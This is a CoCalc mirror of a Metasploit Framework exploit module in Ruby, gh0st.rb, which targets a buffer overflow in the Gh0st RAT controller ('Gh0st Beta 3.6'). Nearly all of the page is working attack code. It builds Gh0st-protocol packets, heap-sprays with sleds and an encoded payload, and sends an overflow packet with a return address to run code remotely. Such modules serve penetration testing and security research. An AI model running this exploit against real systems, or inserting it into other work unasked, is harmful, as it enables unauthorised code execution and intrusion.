CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/gh0st.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Gh0st Client buffer Overflow',
15
'Description' => %q{
16
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
17
},
18
'Author' => 'Professor Plum',
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
],
23
'DefaultOptions' =>
24
{
25
'EXITFUNC' => 'thread',
26
'AllowWin32SEH' => true
27
},
28
'Payload' =>
29
{
30
'Space' => 1000,
31
'BadChars' => '',
32
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
33
},
34
'Platform' => 'win',
35
'DisclosureDate' => '2017-07-27',
36
'Targets' =>
37
[
38
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
39
],
40
'Privileged' => false,
41
'DefaultTarget' => 0))
42
43
register_options(
44
[
45
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
46
Opt::RPORT(80)
47
]
48
)
49
end
50
51
def make_packet(id, data)
52
msg = id.chr + data
53
compressed = Zlib::Deflate.deflate(msg)
54
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
55
end
56
57
def validate_response(data)
58
if data.nil?
59
print_status('Server closed connection')
60
return false
61
end
62
if data.empty?
63
print_status('No response received')
64
return false
65
end
66
if data.size < 13
67
print_status('Invalid packet')
68
print_status(data)
69
return false
70
end
71
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
72
if mag.index(datastore['MAGIC']) != 0
73
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
74
return false
75
end
76
if pktlen != data.size
77
print_status('Packet size mismatch')
78
return false
79
end
80
msg = Zlib::Inflate.inflate(data[13..data.size])
81
if msg.size != msglen
82
print_status('Packet decompress failure')
83
return false
84
end
85
return true
86
end
87
88
def check
89
connect
90
sock.put(make_packet(101, "\x00")) # heartbeat
91
if validate_response(sock.get_once || '')
92
return Exploit::CheckCode::Appears
93
end
94
Exploit::CheckCode::Safe
95
end
96
97
def exploit
98
print_status("Trying target #{target.name}")
99
print_status('Spraying heap...')
100
for i in 0..100
101
connect
102
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
103
if not validate_response(sock.get_once)
104
disconnect
105
return
106
end
107
end
108
109
for i in 103..107
110
print_status("Trying command #{i}...")
111
begin
112
connect
113
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
114
sock.put(sploit)
115
if validate_response(sock.get_once)
116
next
117
end
118
sleep(0.1)
119
break
120
rescue EOFError
121
print_status('Invalid')
122
end
123
end
124
handler
125
disconnect
126
end
127
end
128
129